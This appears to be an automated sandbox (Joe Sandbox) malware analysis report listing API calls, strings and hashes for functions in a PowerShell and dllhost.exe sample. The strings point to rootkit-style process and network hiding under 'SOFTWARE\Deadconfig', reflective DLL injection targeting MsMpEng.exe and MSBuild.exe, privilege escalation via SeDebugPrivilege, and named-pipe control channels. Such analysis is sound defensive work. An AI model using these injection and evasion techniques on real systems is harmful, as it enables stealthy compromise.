APIs

CreateFileA.KERNELBASE ref: 00007FFD9B7EEA29

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: ee23417063d29568cafc0c393e03b27ac88f4ca5b36de8fed21c76b6e9bc7a31
Instruction ID: d4c6747042a44426802703746c1b2db22b6399a551ef93dd30e8b075eecf7ad3
Opcode Fuzzy Hash: ee23417063d29568cafc0c393e03b27ac88f4ca5b36de8fed21c76b6e9bc7a31
Instruction Fuzzy Hash: 6B61D830518B8D4FDBA8DF18D8567E477E1FF59310F14426AE84DC32A2CA74E9418B82

Function 00007FFD9B7EED56 Relevance: 1.6, APIs: 1, Instructions: 134
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MapViewOfFile.KERNELBASE ref: 00007FFD9B7EEE33

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: FileView
String ID:
API String ID: 3314676101-0
Opcode ID: 6e8182d5656318a8b4e7d8b32e3925e6e5a6e943fcb1f9eb17b99c9cd7bde471
Instruction ID: f35db250139db4b593d20634d1240a0848266be09745e11acd9ae4b49da8860b
Opcode Fuzzy Hash: 6e8182d5656318a8b4e7d8b32e3925e6e5a6e943fcb1f9eb17b99c9cd7bde471
Instruction Fuzzy Hash: 7741293090CA889FD71DDB68D8066F97BF0FF5A321F14026ED099D31A2CB647446CB91

Function 00007FFD9B7EE798 Relevance: 1.6, APIs: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32GetModuleInformation.KERNEL32 ref: 00007FFD9B7EE852

Memory Dump Source

Source File: 00000004.00000002.1946439518.00007FFD9B7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b7e0000_powershell.jbxd

Similarity

API ID: InformationModule
String ID:
API String ID: 3425974696-0
Opcode ID: ca442ac7187ea045a3a16433112d119e7f63fdcfb517ba607ad182beab6ecbd1
Instruction ID: ca9f31a977f7b3087036573d3e50eff16d8304ec37e736bedc5b0c01ac2dfe1d
Opcode Fuzzy Hash: ca442ac7187ea045a3a16433112d119e7f63fdcfb517ba607ad182beab6ecbd1
Instruction Fuzzy Hash: E831C831E0CA4C4FDB18DB9898496F97BE1EF56321F04427FD059D3292CB756846C791

Function 00007FFD9B8B26C1 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1948550592.00007FFD9B8B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffd9b8b0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8b09bce70f6f3a808cb63f153217fc958925d5ef18f565a95e98e9ce3252f04
Instruction ID: cf3908a00da70dd7f19dc53f1cb266b743226b23d4f93612e92fa861e05b304a
Opcode Fuzzy Hash: a8b09bce70f6f3a808cb63f153217fc958925d5ef18f565a95e98e9ce3252f04
Instruction Fuzzy Hash: E521D853E0FADE0FE7A1ABB868741646EC19F5A290B1901FEC06CC71E7E8086C054B51

Analysis Process: dllhost.exePID: 6968, Parent PID: 552COMMON

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	12%
Total number of Nodes:	1249
Total number of Limit Nodes:	27

Executed Functions

Function 0000000140002D54 Relevance: 84.3, APIs: 36, Strings: 12, Instructions: 258
registrymemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140002A14: StrCpyW.SHLWAPI ref: 0000000140002A45
Part of subcall function 0000000140002A14: StrCatW.SHLWAPI ref: 0000000140002A53
Part of subcall function 0000000140002A14: GetModuleHandleW.KERNEL32 ref: 0000000140002A5C
Part of subcall function 0000000140002A14: GetCurrentProcess.KERNEL32 ref: 0000000140002A7C
Part of subcall function 0000000140002A14: K32GetModuleInformation.KERNEL32 ref: 0000000140002A90
Part of subcall function 0000000140002A14: CreateFileW.KERNELBASE ref: 0000000140002AC0
Part of subcall function 0000000140002A14: CreateFileMappingW.KERNELBASE ref: 0000000140002AEA
Part of subcall function 0000000140002A14: MapViewOfFile.KERNELBASE ref: 0000000140002B0D
Part of subcall function 0000000140002A14: lstrcmpiA.KERNEL32 ref: 0000000140002B63
Part of subcall function 0000000140002A14: CloseHandle.KERNELBASE ref: 0000000140002BCF
Part of subcall function 0000000140002A14: CloseHandle.KERNEL32 ref: 0000000140002BD8
Part of subcall function 0000000140002A14: FreeLibrary.KERNEL32 ref: 0000000140002BE1

Part of subcall function 0000000140002A14: VirtualProtect.KERNEL32 ref: 0000000140002B96
Part of subcall function 0000000140002A14: VirtualProtect.KERNEL32 ref: 0000000140002BC6

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D7C
OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002D8C
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002DA6
LookupPrivilegeValueW.ADVAPI32 ref: 0000000140002DBD
AdjustTokenPrivileges.KERNELBASE ref: 0000000140002DF5
GetLastError.KERNEL32 ref: 0000000140002DFF
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E08
RegOpenKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E31
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E61
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002E91
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EA5
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EB3
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002EC6
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002ED4
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F03
RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F33
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F45
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,0000000140002D49), ref: 0000000140002F4B
RegCreateKeyExW.KERNELBASE ref: 0000000140002F87
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 0000000140002FAE
RegSetKeySecurity.KERNELBASE ref: 0000000140002FC7
LocalFree.KERNEL32 ref: 0000000140002FD1
RegCreateKeyExW.KERNELBASE ref: 0000000140003007
GetCurrentProcessId.KERNEL32 ref: 0000000140003011
RegSetValueExW.KERNELBASE ref: 0000000140003038
RegCloseKey.KERNELBASE ref: 0000000140003042
RegCloseKey.ADVAPI32 ref: 000000014000304C
CreateThread.KERNELBASE ref: 000000014000306D
GetProcessHeap.KERNEL32 ref: 0000000140003073
HeapAlloc.KERNEL32 ref: 0000000140003082
CreateThread.KERNELBASE ref: 00000001400030B0
CreateThread.KERNELBASE ref: 00000001400030D1
ShellExecuteW.SHELL32 ref: 000000014000310B
GetProcessHeap.KERNEL32 ref: 000000014000316B
HeapFree.KERNEL32 ref: 0000000140003179
SleepEx.KERNELBASE ref: 0000000140003182

Strings

open, xrefs: 00000001400030EC
kernel32.dll, xrefs: 0000000140002D70
Deaddll32, xrefs: 0000000140002E4F, 0000000140002EDE
pid, xrefs: 0000000140002FE4
SOFTWARE, xrefs: 0000000140002E27
?, xrefs: 0000000140002FFB
ntdll.dll, xrefs: 0000000140002D64
D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA), xrefs: 0000000140002FA7
SOFTWARE\Deadconfig, xrefs: 0000000140002F66
svc64, xrefs: 000000014000301B
SeDebugPrivilege, xrefs: 0000000140002DB6
Deaddll64, xrefs: 0000000140002E7F, 0000000140002F18

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Process$Heap$Create$CloseValue$CurrentHandleQuery$AllocFileFreeOpenSecurityThread$DescriptorModuleProtectTokenVirtual$AdjustConvertErrorExecuteInformationLastLibraryLocalLookupMappingPrivilegePrivilegesShellSleepStringViewlstrcmpi
String ID: ?$D:(A;OICI;GA;;;AU)(A;OICI;GA;;;BA)$Deaddll32$Deaddll64$SOFTWARE$SOFTWARE\Deadconfig$SeDebugPrivilege$kernel32.dll$ntdll.dll$open$pid$svc64
API String ID: 3658652915-705066980
Opcode ID: 09e549efbda8c35b39a76a366dbe8028c3cee4715c97da4422c7ce70c0244594
Instruction ID: bfed91f18c334a7cc4a0b1e358a8adad7fcd43e68269cf6643d78abe2c04a47a
Opcode Fuzzy Hash: 09e549efbda8c35b39a76a366dbe8028c3cee4715c97da4422c7ce70c0244594
Instruction Fuzzy Hash: 4CC1F2B2200A4186EB26DF22F8547DA37A5FB8CBD9F814116FB4A43A75DF38C589C744

Function 0000000140001854 Relevance: 58.0, APIs: 29, Strings: 4, Instructions: 288
memorystringnativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 000000014000188D
IsWow64Process.KERNEL32 ref: 00000001400018A9
CloseHandle.KERNELBASE ref: 00000001400018D1
OpenProcess.KERNEL32 ref: 0000000140001926
OpenProcess.KERNEL32 ref: 0000000140001945
K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001966
PathFindFileNameW.SHLWAPI ref: 0000000140001974
lstrlenW.KERNEL32 ref: 0000000140001980
StrCpyW.SHLWAPI ref: 0000000140001997
CloseHandle.KERNEL32 ref: 00000001400019A3
StrCmpIW.SHLWAPI ref: 00000001400019D7
NtQueryInformationProcess.NTDLL ref: 0000000140001A08
OpenProcessToken.ADVAPI32 ref: 0000000140001A30
GetTokenInformation.KERNELBASE ref: 0000000140001A5C
GetLastError.KERNEL32 ref: 0000000140001A66
LocalAlloc.KERNEL32 ref: 0000000140001A79
GetTokenInformation.KERNELBASE ref: 0000000140001AA5
GetSidSubAuthorityCount.ADVAPI32 ref: 0000000140001AB2
GetSidSubAuthority.ADVAPI32 ref: 0000000140001AC1
LocalFree.KERNEL32 ref: 0000000140001AD9
CloseHandle.KERNEL32 ref: 0000000140001AED
StrStrA.SHLWAPI ref: 0000000140001B98
VirtualAllocEx.KERNEL32 ref: 0000000140001C02
WriteProcessMemory.KERNELBASE ref: 0000000140001C25
WaitForSingleObject.KERNEL32 ref: 0000000140001C66
GetExitCodeThread.KERNEL32 ref: 0000000140001C7C
VirtualFreeEx.KERNELBASE ref: 0000000140001C9E
CloseHandle.KERNELBASE ref: 0000000140001CAF
CloseHandle.KERNEL32 ref: 0000000140001CB8

Strings

ReflectiveDllMain, xrefs: 0000000140001B8E
MsMpEng.exe, xrefs: 00000001400019AE
@, xrefs: 0000000140001BF5
MSBuild.exe, xrefs: 00000001400019C1

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileFreeLocalNameVirtual$CodeCountErrorExitFindLastMemoryModuleObjectPathQuerySingleThreadWaitWow64Writelstrlen
String ID: @$MSBuild.exe$MsMpEng.exe$ReflectiveDllMain
API String ID: 2456419452-2628171563
Opcode ID: 6ed84dbf6c60baabb87f5e27460d6d0a7eb95a1c4c3bfaadbfcf50804f83e4d3
Instruction ID: 2def5684ad40d20a49040a85348fb744831477dd2d93b0325c4797c406c44bfc
Opcode Fuzzy Hash: 6ed84dbf6c60baabb87f5e27460d6d0a7eb95a1c4c3bfaadbfcf50804f83e4d3
Instruction Fuzzy Hash: 3BC16BB270464186EB66DF23F8907E923A5FB88BC4F444225EF4A47BA5DF38C985C744

Function 0000000140001CDC Relevance: 19.6, APIs: 13, Instructions: 131
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001D0F
HeapAlloc.KERNEL32 ref: 0000000140001D22
GetProcessHeap.KERNEL32 ref: 0000000140001D30
HeapAlloc.KERNEL32 ref: 0000000140001D41
K32EnumProcesses.KERNEL32 ref: 0000000140001D5B
OpenProcess.KERNEL32 ref: 0000000140001D89
K32EnumProcessModulesEx.KERNEL32 ref: 0000000140001DB6
ReadProcessMemory.KERNEL32 ref: 0000000140001DEE
CloseHandle.KERNELBASE ref: 0000000140001E2A
GetProcessHeap.KERNEL32 ref: 0000000140001E3C
HeapFree.KERNEL32 ref: 0000000140001E4A
GetProcessHeap.KERNEL32 ref: 0000000140001E50
RtlFreeHeap.NTDLL ref: 0000000140001E5E

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 5eedca2a6ebaa50de0a645c3a268b9ad974e8a0cc72b2613e158502b10b35cba
Instruction ID: 2ef3b413823c79878d8bf4f714f1222c243dd995f8c3498a775b877731f91f2a
Opcode Fuzzy Hash: 5eedca2a6ebaa50de0a645c3a268b9ad974e8a0cc72b2613e158502b10b35cba
Instruction Fuzzy Hash: 135157B27116808AEB66DF63F8587EA22A1F78DBD8F404025EF4957764DF38C5868704

Function 00000001400022FC Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234B
SetEntriesInAclW.ADVAPI32 ref: 0000000140002393
LocalAlloc.KERNEL32 ref: 00000001400023A3
InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023B7
SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023CE
CreateNamedPipeW.KERNELBASE ref: 000000014000240F

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: a824f9f1c73b8783bda4e66bfa56d47737030f3f51221f323701f0b802283d28
Instruction ID: e0f80ed29c2beefa5853a1ece120277d3f59ab68b3310c2d3307c812b30976c9
Opcode Fuzzy Hash: a824f9f1c73b8783bda4e66bfa56d47737030f3f51221f323701f0b802283d28
Instruction Fuzzy Hash: 4D317CB2214791CAE761CF65F4807DE77A4F748798F40422AFB4947EA8DB78C258CB44

Function 0000000140001508 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140001513
HeapAlloc.KERNEL32 ref: 0000000140001522

Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001530), ref: 0000000140001226
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,0000000140001530), ref: 0000000140001235
Part of subcall function 0000000140001220: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001530), ref: 000000014000124F
Part of subcall function 0000000140001220: HeapAlloc.KERNEL32(?,?,00000000,0000000140001530), ref: 0000000140001260

Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001538), ref: 0000000140001006
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,0000000140001538), ref: 0000000140001015
Part of subcall function 0000000140001000: GetProcessHeap.KERNEL32(?,?,00000000,0000000140001538), ref: 0000000140001028
Part of subcall function 0000000140001000: HeapAlloc.KERNEL32(?,?,00000000,0000000140001538), ref: 0000000140001037

RegOpenKeyExW.ADVAPI32 ref: 0000000140001592
RegOpenKeyExW.ADVAPI32 ref: 00000001400015BF
RegCloseKey.ADVAPI32 ref: 00000001400015D9
RegOpenKeyExW.ADVAPI32 ref: 00000001400015F9
RegCloseKey.KERNELBASE ref: 0000000140001614
RegOpenKeyExW.ADVAPI32 ref: 0000000140001634
RegCloseKey.ADVAPI32 ref: 000000014000164F
RegOpenKeyExW.ADVAPI32 ref: 000000014000166F
RegCloseKey.ADVAPI32 ref: 000000014000168A
RegOpenKeyExW.ADVAPI32 ref: 00000001400016AA
RegCloseKey.ADVAPI32 ref: 00000001400016C5
RegOpenKeyExW.ADVAPI32 ref: 00000001400016E5
RegCloseKey.ADVAPI32 ref: 0000000140001700
RegOpenKeyExW.ADVAPI32 ref: 0000000140001720
RegCloseKey.ADVAPI32 ref: 000000014000173B
RegOpenKeyExW.ADVAPI32 ref: 000000014000175B
RegCloseKey.ADVAPI32 ref: 0000000140001776
RegCloseKey.ADVAPI32 ref: 0000000140001780

Part of subcall function 0000000140001274: RegQueryInfoKeyW.ADVAPI32 ref: 00000001400012D1
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400012DF
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400012F0
Part of subcall function 0000000140001274: RegEnumValueW.ADVAPI32 ref: 000000014000134F
Part of subcall function 0000000140001274: StrCmpIW.SHLWAPI ref: 0000000140001388
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013BE
Part of subcall function 0000000140001274: HeapAlloc.KERNEL32 ref: 00000001400013CC
Part of subcall function 0000000140001274: GetProcessHeap.KERNEL32 ref: 00000001400013E9
Part of subcall function 0000000140001274: HeapFree.KERNEL32 ref: 00000001400013F7
Part of subcall function 0000000140001274: lstrlenW.KERNEL32 ref: 0000000140001400

Strings

process_names, xrefs: 000000014000162D
tcp_local, xrefs: 00000001400016DE
service_names, xrefs: 00000001400016A3
pid, xrefs: 00000001400015F2
udp, xrefs: 0000000140001754
SOFTWARE\Deadconfig, xrefs: 0000000140001572
paths, xrefs: 0000000140001668
startup, xrefs: 00000001400015B5
tcp_remote, xrefs: 0000000140001719

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\Deadconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-3864762265
Opcode ID: 6fe6fd2fabdb69b81960e478b2bac1cdf4793581c5eb948de40915324fca4ae9
Instruction ID: 4eaf67f6f9e92a82d90f2c5ff0c3a66959d997bd88fd83b2dd54c05b11918b05
Opcode Fuzzy Hash: 6fe6fd2fabdb69b81960e478b2bac1cdf4793581c5eb948de40915324fca4ae9
Instruction Fuzzy Hash: 6171C4B6210A5086EB22EF66F8507D923A4FB8CBC8F016125FB4D97A7ADF38C554C744

Function 0000000140002A14 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140002A45
StrCatW.SHLWAPI ref: 0000000140002A53
GetModuleHandleW.KERNEL32 ref: 0000000140002A5C
GetCurrentProcess.KERNEL32 ref: 0000000140002A7C
K32GetModuleInformation.KERNEL32 ref: 0000000140002A90
CreateFileW.KERNELBASE ref: 0000000140002AC0
CreateFileMappingW.KERNELBASE ref: 0000000140002AEA
MapViewOfFile.KERNELBASE ref: 0000000140002B0D
lstrcmpiA.KERNEL32 ref: 0000000140002B63
VirtualProtect.KERNEL32 ref: 0000000140002B96
VirtualProtect.KERNEL32 ref: 0000000140002BC6
CloseHandle.KERNELBASE ref: 0000000140002BCF
CloseHandle.KERNEL32 ref: 0000000140002BD8
FreeLibrary.KERNEL32 ref: 0000000140002BE1

Strings

.text, xrefs: 0000000140002B5C
C:\Windows\System32\, xrefs: 0000000140002A37

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: 16cf0cf07d351bfc07595f53eddcf13a68410e5df92f1070c1b95616c679785f
Instruction ID: 382fdfafcf188df71275b01ec7f95dd2068c3ca20848ba32fea421f12bb9129c
Opcode Fuzzy Hash: 16cf0cf07d351bfc07595f53eddcf13a68410e5df92f1070c1b95616c679785f
Instruction Fuzzy Hash: 02516BB230468086EB62DF16F8587DAB7A1FB8CBD5F444215AF4A07BA8DF38D549C704

Function 00000001400036FC Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400022FC: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234B
Part of subcall function 00000001400022FC: SetEntriesInAclW.ADVAPI32 ref: 0000000140002393
Part of subcall function 00000001400022FC: LocalAlloc.KERNEL32 ref: 00000001400023A3
Part of subcall function 00000001400022FC: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023B7
Part of subcall function 00000001400022FC: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023CE
Part of subcall function 00000001400022FC: CreateNamedPipeW.KERNELBASE ref: 000000014000240F

Sleep.KERNEL32 ref: 0000000140003721
ConnectNamedPipe.KERNELBASE ref: 000000014000372E
ReadFile.KERNELBASE ref: 0000000140003751
WriteFile.KERNEL32 ref: 000000014000377F
Sleep.KERNEL32 ref: 000000014000378C
DisconnectNamedPipe.KERNELBASE ref: 0000000140003795

Strings

M, xrefs: 0000000140003772
\\.\pipe\Deadchildproc, xrefs: 0000000140003709

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\Deadchildproc
API String ID: 2203880229-2467240567
Opcode ID: c810db3489ad2119f9ef1fbae4b7a74286d7b5b92ae01f9e30bd790640addf01
Instruction ID: c0028d3d0314667bf38e8ea026a80401a8df8d922a9ec9a1a2b92cbe9fa5a050
Opcode Fuzzy Hash: c810db3489ad2119f9ef1fbae4b7a74286d7b5b92ae01f9e30bd790640addf01
Instruction Fuzzy Hash: 171139F121868492E726EB22F8047E96764B78DBE0F444225FB9A436F6DF7CC548C704

Function 0000000140002CB8 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00000001400022FC: AllocateAndInitializeSid.ADVAPI32 ref: 000000014000234B
Part of subcall function 00000001400022FC: SetEntriesInAclW.ADVAPI32 ref: 0000000140002393
Part of subcall function 00000001400022FC: LocalAlloc.KERNEL32 ref: 00000001400023A3
Part of subcall function 00000001400022FC: InitializeSecurityDescriptor.ADVAPI32 ref: 00000001400023B7
Part of subcall function 00000001400022FC: SetSecurityDescriptorDacl.ADVAPI32 ref: 00000001400023CE
Part of subcall function 00000001400022FC: CreateNamedPipeW.KERNELBASE ref: 000000014000240F

Sleep.KERNEL32 ref: 0000000140002CDD
ConnectNamedPipe.KERNELBASE ref: 0000000140002CEA
ReadFile.KERNEL32 ref: 0000000140002D0D
Sleep.KERNEL32 ref: 0000000140002D2E
DisconnectNamedPipe.KERNEL32 ref: 0000000140002D37

Strings

\\.\pipe\Deadcontrol, xrefs: 0000000140002CC5

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\Deadcontrol
API String ID: 2071455217-964892075
Opcode ID: e22c166e277d37d8911ee3c90f5aefddfa50812562ee9ae4fe93c972e7b55e2b
Instruction ID: 60e311c102fdf720ee8a3f99fe4f98fe53f16b407cae5fa6fe3443ad4e3daf5f
Opcode Fuzzy Hash: e22c166e277d37d8911ee3c90f5aefddfa50812562ee9ae4fe93c972e7b55e2b
Instruction Fuzzy Hash: ED0148B1204A4482FB16EB22F8147E96360A79DBE1F544225FB66436F5CE78C948CB00

Function 000000014000363C Relevance: 9.1, APIs: 6, Instructions: 58
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140003657
HeapAlloc.KERNEL32 ref: 000000014000366B
GetProcessHeap.KERNEL32 ref: 0000000140003674
HeapAlloc.KERNEL32 ref: 0000000140003682
K32EnumProcesses.KERNEL32 ref: 000000014000369D
SleepEx.KERNELBASE ref: 00000001400036F2

Memory Dump Source

Source File: 00000006.00000002.2919379167.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000006.00000002.2918280660.0000000140000000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2920451185.0000000140004000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2921552735.0000000140007000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_140000000_dllhost.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
